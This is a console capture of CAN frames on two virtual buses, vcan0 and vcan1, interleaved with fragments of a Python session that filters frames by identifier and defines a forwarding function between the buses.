6D FF 19 vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 454 [8] 67 7A B8 34 CC FC C0 78 vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 092 [8] F9 95 3A 3E 01 DA 7E 3E vcan1 0B5 [8] F3 10 20 45 BB 76 7B 0B │ vcan0 01F [1] 22 ...: returnpkt.identifier<0x100 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 75F [6] 30 41 60 24 30 96 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 3AA [5] 66 F2 04 7D 75 vcan1 04A [0] │ vcan0 327 [8] 6F 4B 78 10 41 6D FF 19 vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 454 [8] 67 7A B8 34 CC FC C0 78 vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 092 [8] F9 95 3A 3E 01 DA 7E 3E vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 01F [1] 22 vcan1 0B5 [8] F3 10 20 45 BB 76 7B 0B │ vcan0 2F2 [8] 67 44 5F 43 16 99 37 57 ...: returnpkt.identifier <0x100 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 3AA [5] 66 F2 04 7D 75 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 327 [8] 6F 4B 78 10 41 6D FF 19 vcan1 04A [0] │ vcan0 454 [8] 67 7A B8 34 CC FC C0 78 vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 092 [8] F9 95 3A 3E 01 DA 7E 3E vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 01F [1] 22 vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 2F2 [8] 67 44 5F 43 16 99 37 57 vcan1 0B5 [8] F3 10 20 45 BB 76 7B 0B │ vcan0 2C6 [8] 0D AC E7 06 26 CA 0D 5C ...: returnpkt.identifier<0x100 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 327 [8] 6F 4B 78 10 41 6D FF 19 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 454 [8] 67 7A B8 34 CC FC C0 78 vcan1 04A [0] │ vcan0 092 [8] F9 95 3A 3E 01 DA 7E 3E vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 01F [1] 22 vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 2F2 [8] 67 44 5F 43 16 99 37 57 vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 2C6 [8] 0D AC E7 06 26 CA 0D 5C vcan1 0B5 [8] F3 10 20 45 BB 76 7B 0B │ vcan0 2EF [8] 56 60 09 4B 99 EE 30 4E vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 454 [8] 67 7A B8 34 CC FC C0 78 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 092 [8] F9 95 3A 3E 01 DA 7E 3E vcan1 04A [0] │ vcan0 01F [1] 22 vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 2F2 [8] 67 44 5F 43 16 99 37 57 vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 2C6 [8] 0D AC E7 06 26 CA 0D 5C vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 2EF [8] 56 60 09 4B 99 EE 30 4E vcan1 0B5 [8] F3 10 20 45 BB 76 7B 0B │ vcan0 632 [8] 0F 07 71 40 5A 11 5D 3F ...: returnpkt.identifier< 0x100 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 092 [8] F9 95 3A 3E 01 DA 7E 3E vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 01F [1] 22 vcan1 04A [0] │ vcan0 2F2 [8] 67 44 5F 43 16 99 37 57 vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 2C6 [8] 0D AC E7 06 26 CA 0D 5C vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 2EF [8] 56 60 09 4B 99 EE 30 4E vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 632 [8] 0F 07 71 40 5A 11 5D 3F vcan1 0B5 [8] F3 10 20 45 BB 76 7B 0B │ vcan0 315 [8] 9B 7E 5C 59 69 E7 B1 07 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 01F [1] 22 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 2F2 [8] 67 44 5F 43 16 99 37 57 vcan1 04A [0] │ vcan0 2C6 [8] 0D AC E7 06 26 CA 0D 5C vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 2EF [8] 56 60 09 4B 99 EE 30 4E vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 632 [8] 0F 07 71 40 5A 11 5D 3F vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 315 [8] 9B 7E 5C 59 69 E7 B1 07 vcan1 0B5 [8] F3 10 20 45 BB 76 7B 0B │ vcan0 5FA [2] 35 E4 ...: returnpkt.identifier 0x100 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 2F2 [8] 67 44 5F 43 16 99 37 57 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 2C6 [8] 0D AC E7 06 26 CA 0D 5C vcan1 04A [0] │ vcan0 2EF [8] 56 60 09 4B 99 EE 30 4E vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 632 [8] 0F 07 71 40 5A 11 5D 3F vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 315 [8] 9B 7E 5C 59 69 E7 B1 07 vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 5FA [2] 35 E4 vcan1 0B5 [8] F3 10 20 45 BB 76 7B 0B │ vcan0 1CC [8] 8E B0 31 08 EB A1 97 0A vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 2C6 [8] 0D AC E7 06 26 CA 0D 5C vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 2EF [8] 56 60 09 4B 99 EE 30 4E vcan1 04A [0] │ vcan0 632 [8] 0F 07 71 40 5A 11 5D 3F vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 315 [8] 9B 7E 5C 59 69 E7 B1 07 vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 5FA [2] 35 E4 vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 1CC [8] 8E B0 31 08 EB A1 97 0A vcan1 0B5 [8] F3 10 20 45 BB 76 7B 0B │ vcan0 00F [1] C6 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 2EF [8] 56 60 09 4B 99 EE 30 4E vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 632 [8] 0F 07 71 40 5A 11 5D 3F vcan1 04A [0] │ vcan0 315 [8] 9B 7E 5C 59 69 E7 B1 07 vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 5FA [2] 35 E4 vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 1CC [8] 8E B0 31 08 EB A1 97 0A vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 00F [1] C6 vcan1 0B5 [8] F3 10 20 45 BB 76 7B 0B │ vcan0 3CF [8] 18 84 B1 04 95 26 A8 7C ...: returnpkt.identifier> 0x100 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 632 [8] 0F 07 71 40 5A 11 5D 3F vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 315 [8] 9B 7E 5C 59 69 E7 B1 07 vcan1 04A [0] │ vcan0 5FA [2] 35 E4 vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 1CC [8] 8E B0 31 08 EB A1 97 0A vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 00F [1] C6 vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 3CF [8] 18 84 B1 04 95 26 A8 7C vcan1 0B5 [8] F3 10 20 45 BB 76 7B 0B │ vcan0 7D7 [6] BB F0 B5 58 C6 2A vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 315 [8] 9B 7E 5C 59 69 E7 B1 07 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 5FA [2] 35 E4 vcan1 04A [0] │ vcan0 1CC [8] 8E B0 31 08 EB A1 97 0A vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 00F [1] C6 vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 3CF [8] 18 84 B1 04 95 26 A8 7C vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 7D7 [6] BB F0 B5 58 C6 2A vcan1 0B5 [8] F3 10 20 45 BB 76 7B 0B │ vcan0 563 [1] 60 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 5FA [2] 35 E4 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 1CC [8] 8E B0 31 08 EB A1 97 0A vcan1 04A [0] │ vcan0 00F [1] C6 vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 3CF [8] 18 84 B1 04 95 26 A8 7C vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 7D7 [6] BB F0 B5 58 C6 2A vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 563 [1] 60 vcan1 0B5 [8] F3 10 20 45 BB 76 7B 0B │ vcan0 3CE [8] F0 AC C1 14 E3 7E FF 6B vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 1CC [8] 8E B0 31 08 EB A1 97 0A vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 00F [1] C6 vcan1 04A [0] │ vcan0 3CF [8] 18 84 B1 04 95 26 A8 7C vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 7D7 [6] BB F0 B5 58 C6 2A vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 563 [1] 60 vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 3CE [8] F0 AC C1 14 E3 7E FF 6B vcan1 0B5 [8] F3 10 20 45 BB 76 7B 0B │ vcan0 2ED [8] 4C 66 B1 73 E8 08 8F 2D ...: returnpkt.identifier> 0x100 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 00F [1] C6 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 3CF [8] 18 84 B1 04 95 26 A8 7C vcan1 04A [0] │ vcan0 7D7 [6] BB F0 B5 58 C6 2A vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 563 [1] 60 vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 3CE [8] F0 AC C1 14 E3 7E FF 6B vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 2ED [8] 4C 66 B1 73 E8 08 8F 2D vcan1 0B5 [8] F3 10 20 45 BB 76 7B 0B │ vcan0 48E [2] 75 DF vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 3CF [8] 18 84 B1 04 95 26 A8 7C vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 7D7 [6] BB F0 B5 58 C6 2A vcan1 04A [0] │ vcan0 563 [1] 60 vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 3CE [8] F0 AC C1 14 E3 7E FF 6B vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 2ED [8] 4C 66 B1 73 E8 08 8F 2D vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 48E [2] 75 DF vcan1 0B5 [8] F3 10 20 45 BB 76 7B 0B │ vcan0 4B0 [3] 45 70 93 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 7D7 [6] BB F0 B5 58 C6 2A vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 563 [1] 60 vcan1 04A [0] │ vcan0 3CE [8] F0 AC C1 14 E3 7E FF 6B vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 2ED [8] 4C 66 B1 73 E8 08 8F 2D vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 48E [2] 75 DF vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 4B0 [3] 45 70 93 vcan1 0B5 [8] F3 10 20 45 BB 76 7B 0B │ vcan0 1B4 [8] C2 CF 28 2E 83 15 A3 04 ...: returnpkt.identifier> 0x100 ...: returnpkt.identifier> 0x100 ...: returnpkt.identifier> 0x100 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 563 [1] 60 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 3CE [8] F0 AC C1 14 E3 7E FF 6B vcan1 04A [0] │ vcan0 2ED [8] 4C 66 B1 73 E8 08 8F 2D vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 48E [2] 75 DF vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 4B0 [3] 45 70 93 vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 1B4 [8] C2 CF 28 2E 83 15 A3 04 vcan1 0B5 [8] F3 10 20 45 BB 76 7B 0B │ vcan0 239 [8] 19 3C 4B 01 10 92 F3 1C ...: returnpkt.identifier> 0x100 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 3CE [8] F0 AC C1 14 E3 7E FF 6B vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 2ED [8] 4C 66 B1 73 E8 08 8F 2D vcan1 04A [0] │ vcan0 48E [2] 75 DF vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 4B0 [3] 45 70 93 vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 1B4 [8] C2 CF 28 2E 83 15 A3 04 vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 239 [8] 19 3C 4B 01 10 92 F3 1C vcan1 0B5 [8] F3 10 20 45 BB 76 7B 0B │ vcan0 400 [4] D7 BC 1E 34 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 2ED [8] 4C 66 B1 73 E8 08 8F 2D vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 48E [2] 75 DF vcan1 04A [0] │ vcan0 4B0 [3] 45 70 93 vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 1B4 [8] C2 CF 28 2E 83 15 A3 04 vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 239 [8] 19 3C 4B 01 10 92 F3 1C vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 400 [4] D7 BC 1E 34 vcan1 0B5 [8] F3 10 20 45 BB 76 7B 0B │ vcan0 5E6 [7] FA 3C B9 4A B4 21 8E vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 48E [2] 75 DF vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 4B0 [3] 45 70 93 vcan1 04A [0] │ vcan0 1B4 [8] C2 CF 28 2E 83 15 A3 04 vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 239 [8] 19 3C 4B 01 10 92 F3 1C vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 400 [4] D7 BC 1E 34 vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 5E6 [7] FA 3C B9 4A B4 21 8E vcan1 0B5 [8] F3 10 20 45 BB 76 7B 0B │ vcan0 6A6 [8] 97 A0 8D 55 93 69 FE 35 ...: ...: vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 4B0 [3] 45 70 93 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 1B4 [8] C2 CF 28 2E 83 15 A3 04 vcan1 04A [0] │ vcan0 239 [8] 19 3C 4B 01 10 92 F3 1C vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 400 [4] D7 BC 1E 34 vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 5E6 [7] FA 3C B9 4A B4 21 8E vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 6A6 [8] 97 A0 8D 55 93 69 FE 35 vcan1 0B5 [8] F3 10 20 45 BB 76 7B 0B │ vcan0 575 [3] 7B 72 8D vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 1B4 [8] C2 CF 28 2E 83 15 A3 04 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 239 [8] 19 3C 4B 01 10 92 F3 1C vcan1 04A [0] │ vcan0 400 [4] D7 BC 1E 34 vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 5E6 [7] FA 3C B9 4A B4 21 8E vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 6A6 [8] 97 A0 8D 55 93 69 FE 35 vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 575 [3] 7B 72 8D vcan1 0B5 [8] F3 10 20 45 BB 76 7B 0B │ vcan0 165 [0] ...: returnpkt.identifier> 0x100 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 239 [8] 19 3C 4B 01 10 92 F3 1C vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 400 [4] D7 BC 1E 34 vcan1 04A [0] │ vcan0 5E6 [7] FA 3C B9 4A B4 21 8E vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 6A6 [8] 97 A0 8D 55 93 69 FE 35 vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 575 [3] 7B 72 8D vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 165 [0] vcan1 0B5 [8] F3 10 20 45 BB 76 7B 0B │ vcan0 1F4 [3] D6 FA E3 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 400 [4] D7 BC 1E 34 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 5E6 [7] FA 3C B9 4A B4 21 8E vcan1 04A [0] │ vcan0 6A6 [8] 97 A0 8D 55 93 69 FE 35 vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 575 [3] 7B 72 8D vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 165 [0] vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 1F4 [3] D6 FA E3 vcan1 0B5 [8] F3 10 20 45 BB 76 7B 0B │ vcan0 7AF [8] 2C 71 F1 2D E8 19 D2 02 ...: vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 5E6 [7] FA 3C B9 4A B4 21 8E vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 6A6 [8] 97 A0 8D 55 93 69 FE 35 vcan1 04A [0] │ vcan0 575 [3] 7B 72 8D vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 165 [0] vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 1F4 [3] D6 FA E3 vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 7AF [8] 2C 71 F1 2D E8 19 D2 02 vcan1 0B5 [8] F3 10 20 45 BB 76 7B 0B │ vcan0 672 [5] F9 AB C5 1F 73 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 6A6 [8] 97 A0 8D 55 93 69 FE 35 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 575 [3] 7B 72 8D vcan1 04A [0] │ vcan0 165 [0] vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 1F4 [3] D6 FA E3 vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 7AF [8] 2C 71 F1 2D E8 19 D2 02 vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 672 [5] F9 AB C5 1F 73 vcan1 0B5 [8] F3 10 20 45 BB 76 7B 0B │ vcan0 219 [0] ...: returnpkt.identifier>0x100 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 575 [3] 7B 72 8D vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 165 [0] vcan1 04A [0] │ vcan0 1F4 [3] D6 FA E3 vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 7AF [8] 2C 71 F1 2D E8 19 D2 02 vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 672 [5] F9 AB C5 1F 73 vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 219 [0] vcan1 0B5 [8] F3 10 20 45 BB 76 7B 0B │ vcan0 707 [1] B3 ...: returnpkt.identifier>0x100 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 165 [0] vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 1F4 [3] D6 FA E3 vcan1 04A [0] │ vcan0 7AF [8] 2C 71 F1 2D E8 19 D2 02 vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 672 [5] F9 AB C5 1F 73 vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 219 [0] vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 707 [1] B3 vcan1 0B5 [8] F3 10 20 45 BB 76 7B 0B │ vcan0 2BB [8] 40 9F A5 62 30 80 7C 7D >>> def forward(pkt): vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 1F4 [3] D6 FA E3 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 7AF [8] 2C 71 F1 2D E8 19 D2 02 vcan1 04A [0] │ vcan0 672 [5] F9 AB C5 1F 73 vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 219 [0] vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 707 [1] B3 vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 2BB [8] 40 9F A5 62 30 80 7C 7D vcan1 0B5 [8] F3 10 20 45 BB 76 7B 0B │ vcan0 12E [8] 34 BA 48 47 93 72 BC 4C vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 7AF [8] 2C 71 F1 2D E8 19 D2 02 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 672 [5] F9 AB C5 1F 73 vcan1 04A [0] │ vcan0 219 [0] vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 707 [1] B3 vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 2BB [8] 40 9F A5 62 30 80 7C 7D vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 12E [8] 34 BA 48 47 93 72 BC 4C vcan1 0B5 [8] F3 10 20 45 BB 76 7B 0B │ vcan0 3AC [1] A9 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 672 [5] F9 AB C5 1F 73 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 219 [0] vcan1 04A [0] │ vcan0 707 [1] B3 vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 2BB [8] 40 9F A5 62 30 80 7C 7D vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 12E [8] 34 BA 48 47 93 72 BC 4C vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 3AC [1] A9 vcan1 0B5 [8] F3 10 20 45 BB 76 7B 0B │ vcan0 334 [8] 49 A1 93 24 E3 A2 00 2B vcan1 219 [0] │ vcan0 219 [0] vcan1 707 [1] B3 │ vcan0 707 [1] B3 vcan1 2BB [8] 40 9F A5 62 30 80 7C 7D │ vcan0 2BB [8] 40 9F A5 62 30 80 7C 7D vcan1 12E [8] 34 BA 48 47 93 72 BC 4C │ vcan0 12E [8] 34 BA 48 47 93 72 BC 4C vcan1 3AC [1] A9 │ vcan0 3AC [1] A9 vcan1 334 [8] 49 A1 93 24 E3 A2 00 2B │ vcan0 334 [8] 49 A1 93 24 E3 A2 00 2B vcan1 617 [5] CC BC D2 2D 8A │ vcan0 617 [5] CC BC D2 2D 8A vcan1 219 [0] │ vcan0 707 [1] B3 vcan1 707 [1] B3 │ vcan0 2BB [8] 40 9F A5 62 30 80 7C 7D vcan1 2BB [8] 40 9F A5 62 30 80 7C 7D │ vcan0 12E [8] 34 BA 48 47 93 72 BC 4C vcan1 12E [8] 34 BA 48 47 93 72 BC 4C │ vcan0 3AC [1] A9 vcan1 3AC [1] A9 │ vcan0 334 [8] 49 A1 93 24 E3 A2 00 2B vcan1 334 [8] 49 A1 93 24 E3 A2 00 2B │ vcan0 617 [5] CC BC D2 2D 8A vcan1 617 [5] CC BC D2 2D 8A │ vcan0 7BA [5] FD 0E 24 2F D3 vcan1 7BA [5] FD 0E 24 2F D3 │ vcan0 7BA [5] FD 0E 24 2F D3 vcan1 7BA [5] FD 0E 24 2F D3 │ vcan0 195 [4] D3 F1 FD 11 vcan1 195 [4] D3 F1 FD 11 │ vcan0 195 [4] D3 F1 FD 11 vcan1 195 [4] D3 F1 FD 11 │ vcan0 3A5 [6] 49 46 83 3B 60 3E vcan1 3A5 [6] 49 46 83 3B 60 3E │ vcan0 3A5 [6] 49 46 83 3B 60 3E vcan1 3A5 [6] 49 46 83 3B 60 3E │ vcan0 5D1 [8] 90 BE 9B 32 FF A6 FD 57 vcan1 5D1 [8] 90 BE 9B 32 FF A6 FD 57 │ vcan0 5D1 [8] 90 BE 9B 32 FF A6 FD 57 vcan1 5D1 [8] 90 BE 9B 32 FF A6 FD 57 │ vcan0 745 [4] 92 19 BA 24 vcan1 745 [4] 92 19 BA 24 │ vcan0 745 [4] 92 19 BA 24 vcan1 745 [4] 92 19 BA 24 │ vcan0 356 [8] 92 A0 A3 00 8A 76 61 54 vcan1 356 [8] 92 A0 A3 00 8A 76 61 54 │ vcan0 356 [8] 92 A0 A3 00 8A 76 61 54 vcan1 356 [8] 92 A0 A3 00 8A 76 61 54 │ vcan0 5BB [8] 6E 19 62 7F D3 73 63 5C vcan1 5BB [8] 6E 19 62 7F D3 73 63 5C │ vcan0 5BB [8] 6E 19 62 7F D3 73 63 5C vcan1 5BB [8] 6E 19 62 7F D3 73 63 5C │ vcan0 450 [8] 5D E0 2C 7B 0A 14 7E 79 vcan1 450 [8] 5D E0 2C 7B 0A 14 7E 79 │ vcan0 450 [8] 5D E0 2C 7B 0A 14 7E 79 vcan1 450 [8] 5D E0 2C 7B 0A 14 7E 79 │ vcan0 6FF [8] DE AD 7D 04 94 10 4A 1C vcan1 6FF [8] DE AD 7D 04 94 10 4A 1C │ vcan0 6FF [8] DE AD 7D 04 94 10 4A 1C vcan1 6FF [8] DE AD 7D 04 94 10 4A 1C │ vcan0 22E [1] 30 vcan1 22E [1] 30 │ vcan0 22E [1] 30 vcan1 22E [1] 30 │ vcan0 337 [8] 33 54 7F 19 08 91 AA 61 vcan1 337 [8] 33 54 7F 19 08 91 AA 61 │ vcan0 337 [8] 33 54 7F 19 08 91 AA 61 vcan1 337 [8] 33 54 7F 19 08 91 AA 61 │ vcan0 502 [3] 07 38 A8 vcan1 502 [3] 07 38 A8 │ vcan0 502 [3] 07 38 A8 vcan1 502 [3] 07 38 A8 │ vcan0 388 [8] 3A 9F 8C 6E DE C6 F4 29 vcan1 388 [8] 3A 9F 8C 6E DE C6 F4 29 │ vcan0 388 [8] 3A 9F 8C 6E DE C6 F4 29 vcan1 388 [8] 3A 9F 8C 6E DE C6 F4 29 │ vcan0 3D6 [8] 68 3D 56 7E 91 19 8F 4F vcan1 3D6 [8] 68 3D 56 7E 91 19 8F 4F │ vcan0 3D6 [8] 68 3D 56 7E 91 19 8F 4F vcan1 3D6 [8] 68 3D 56 7E 91 19 8F 4F │ vcan0 1A8 [6] 64 8D F2 2B F8 D5 vcan1 1A8 [6] 64 8D F2 2B F8 D5 │ vcan0 1A8 [6] 64 8D F2 2B F8 D5 vcan1 510 [1] 03 │ vcan0 510 [1] 03 vcan1 1A8 [6] 64 8D F2 2B F8 D5 │ vcan0 510 [1] 03 vcan1 510 [1] 03 │ vcan0 51B [1] A3 vcan1 51B [1] A3 │ vcan0 51B [1] A3 vcan1 51B [1] A3 │ vcan0 792 [3] 1C B5 F4 vcan1 792 [3] 1C B5 F4 │ vcan0 792 [3] 1C B5 F4 vcan1 792 [3] 1C B5 F4 │ vcan0 54C [8] D2 D3 4B 1B 4F 52 A6 58 vcan1 54C [8] D2 D3 4B 1B 4F 52 A6 58 │ vcan0 54C [8] D2 D3 4B 1B 4F 52 A6 58 vcan1 54C [8] D2 D3 4B 1B 4F 52 A6 58 │ vcan0 413 [8] 97 96 D4 41 9B A7 8E 40 vcan1 413 [8] 97 96 D4 41 9B A7 8E 40 │ vcan0 413 [8] 97 96 D4 41 9B A7 8E 40 vcan1 413 [8] 97 96 D4 41 9B A7 8E 40 │ vcan0 573 [1] 79 vcan1 573 [1] 79 │ vcan0 573 [1] 79 vcan1 573 [1] 79 │ vcan0 59D [1] DB vcan1 59D [1] DB │ vcan0 59D [1] DB vcan1 59D [1] DB │ vcan0 2B8 [8] 3E CD 1C 40 C8 2F 7F 11 vcan1 2B8 [8] 3E CD 1C 40 C8 2F 7F 11 │ vcan0 2B8 [8] 3E CD 1C 40 C8 2F 7F 11 vcan1 2B8 [8] 3E CD 1C 40 C8 2F 7F 11 │ vcan0 601 [1] 